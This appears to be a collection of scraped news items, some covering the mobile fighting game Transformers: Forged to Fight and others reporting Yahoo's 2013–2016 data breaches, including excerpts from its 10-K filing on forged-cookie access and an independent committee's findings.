On the multiplayer side, each player gets a base where they can harvest resources, assigning unused bots to guard against invasion by others. Players can also form alliances, participating in alliance battles for even bigger rewards. It’s pretty standard free-to-play fare.
The main draw of Forged to Fight is collecting as many characters as you possibly can and watching them beat each other up. New bots arrive via crystals either gained through play or purchased with real-world money. It’s pretty random. Getting a character you love is a great feeling. Getting stupid Michael Bay Bumblebee is not.

I suppose the exciting fighting system counts as a draw as well. Can’t have giant robots just standing around eating tea and biscuits.

Transformers: Forged to Fight will be out in the U.S. soon [Update 4/6/17, 5:19pm—It’s available now on iTunes and Google Play.] Until then, eh?
]]>
In a regulatory filing, Yahoo revealed some additional details about data breaches that have affected over a billion accounts. Among that information is the news that hackers who obtained Yahoo’s code and were able to create their own cookies were able to access 32 million accounts through 2015 and 2016. Additionally, the 10-K statement provided to the SEC says that Yahoo notified 26 individuals and consulted with law enforcement after it became aware that state-sponsored hackers had exploited its account management tool for access.
Yahoo publicly revealed the extent of these breaches in December, but admits in the report that in 2014 “it appears certain senior executives did not properly comprehend or investigate, and therefore failed to act sufficiently upon, the full extent of knowledge known internally by the Company’s information security team.”
As a result of the investigation, its board has decided that CEO Marissa Mayer will not receive a cash bonus she was to receive for 2016, while general counsel Ronald S. Bell resigned. As a result of the revelations that account information had been stolen, which Mayer says she became aware of in September of last year, Verizon cut $ 350 million from its offer to acquire Yahoo.
Security Incidents
Description of Events
On September 22, 2016, we disclosed that a copy of certain user account information for approximately 500 million user accounts was stolen from Yahoo’s network in late 2014 (the “2014 Security Incident”). The Company believes the user account information was stolen by a state-sponsored actor. The user account information taken included names, email addresses, telephone numbers, dates of birth, hashed passwords (the vast majority with the “bcrypt” hashing algorithm) and, in some cases, encrypted or unencrypted security questions and answers. Our forensic investigation indicates that the stolen information did not include unprotected passwords, payment card data, or bank account information. Payment card data and bank account information are not stored in the system that the investigation found to be affected. We have no evidence that the state-sponsored actor is currently in or accessing the Company’s network.
On December 14, 2016, we disclosed that, based on our outside forensic expert’s analysis of data files provided to the Company in November 2016 by law enforcement, we believe an unauthorized third party stole data associated with more than one billion user accounts in August 2013 (the “2013 Security Incident”). We have not been able to identify the intrusion associated with this theft, and we believe this incident is likely distinct from the 2014 Security Incident. For potentially affected accounts, the user account information stolen included names, email addresses, telephone numbers, dates of birth, hashed passwords (using the MD5 algorithm) and, in some cases, encrypted or unencrypted security questions and answers. The stolen information did not include passwords in clear text, payment card data, or bank account information.
In November and December 2016, we disclosed that our outside forensic experts were investigating the creation of forged cookies that could allow an intruder to access users’ accounts without a password. Based on the investigation, we believe an unauthorized third party accessed the Company’s proprietary code to learn how to forge certain cookies. The outside forensic experts have identified approximately 32 million user accounts for which they believe forged cookies were used or taken in 2015 and 2016 (the “Cookie Forging Activity”). We believe that some of this activity is connected to the same state-sponsored actor believed to be responsible for the 2014 Security Incident. The forged cookies have been invalidated by the Company so they cannot be used to access user accounts.
The 2013 Security Incident, the 2014 Security Incident, and the Cookie Forging Activity are collectively referred to herein as the “Security Incidents.” With respect to each of the Security Incidents, the impacted users and appropriate regulatory and law enforcement agencies have been notified.
The Company, with the assistance of outside forensic experts, has concluded its investigation of the Security Incidents. The Company continues to work with U.S. law enforcement authorities on these matters.
Independent Committee Investigation
As previously disclosed, an independent committee (the “Independent Committee”) of the Board of Directors (the “Board”) has investigated the Security Incidents and related matters, including the scope of knowledge within the Company in 2014 of access to Yahoo’s network by the state-sponsored actor responsible for the theft and related incidents, the Company’s internal and external reporting processes and remediation efforts related to the 2014 Security Incident and related incidents. The Independent Committee has concluded its investigation, although it will continue to review developments regarding the Security Incidents and report to the Board on these issues, and cooperate with various government entities. The Independent Committee was assisted by independent counsel, Sidley Austin LLP, and a forensic expert. The Board has separately been advised by other outside counsel regarding the Security Incidents and recommendations regarding remedial actions.
Based on its investigation, the Independent Committee concluded that the Company’s information security team had contemporaneous knowledge of the 2014 compromise of user accounts, as well as incidents by the same attacker involving cookie forging in 2015 and 2016. In late 2014, senior executives and relevant legal staff were aware that a state-sponsored actor had accessed certain user accounts by exploiting the Company’s account management tool. The Company took certain remedial actions, notifying 26 specifically targeted users and consulting with law enforcement. While significant additional security measures were implemented in response to those incidents, it appears certain senior executives did not properly comprehend or investigate, and therefore failed to act sufficiently upon, the full extent of knowledge known internally by the Company’s information security team. Specifically, as of December 2014, the information security team understood that the attacker had exfiltrated copies of user database backup files containing the personal data of Yahoo users but it is unclear whether and to what extent such evidence of exfiltration was effectively communicated and understood outside the information security team. However, the Independent Committee did not conclude that there was an intentional suppression of relevant information.
Nonetheless, the Committee found that the relevant legal team had sufficient information to warrant substantial further inquiry in 2014, and they did not sufficiently pursue it. As a result, the 2014 Security Incident was not properly investigated and analyzed at the time, and the Company was not adequately advised with respect to the legal and business risks associated with the 2014 Security Incident. The Independent Committee found that failures in communication, management, inquiry and internal reporting contributed to the lack of proper comprehension and handling of the 2014 Security Incident. The Independent Committee also found that the Audit and Finance Committee and the full Board were not adequately informed of the full severity, risks, and potential impacts of the 2014 Security Incident and related matters.
Source: Yahoo 10-K
]]>
Mobile developer Kabam and Hasbro roll out a new trailer for their upcoming fighting game at Toy Fair 2017 today, demonstrating just how deep and obscure the roster for Transformers: Forged to Fight is going to get. How many do you recognize?
When Kabam said they were pulling characters from almost every generation of Transformers, they were not kidding. In the shot above we’ve got classic Soundwave, mewcoer Windblade, whichever version of Optimus Prime that is, Rhinox from Beast Wars (showing off the liberty being taken with scale) and bad old Bludgeon.
You want more? Look:
Transformers: Forged to Fight arrives on iOS and Android this spring.
]]>
(credit: Clever Cupcakes)
Yahoo has sent out another round of notifications to users, warning some that their accounts may have been breached as recently as last year. The accounts were affected by a flaw in Yahoo’s mail service that allowed an attacker—most likely a “state actor,” according to Yahoo—to use a forged “cookie” created by software stolen from within Yahoo’s internal systems to gain access to user accounts without a password.
Yahoo informed some users in e-mails this week that “Based on the ongoing investigation, we believe a forged cookie may have been used in 2015 or 2016 to access your account.” The messages are regarding possible breaches using the cookie vulnerability in 2014.
The Associated Press’ Raphael Satter reports that a Yahoo spokesperson acknowledged the company was notifying users of the potential breach of their accounts, but would not disclose how many users were affected.
]]>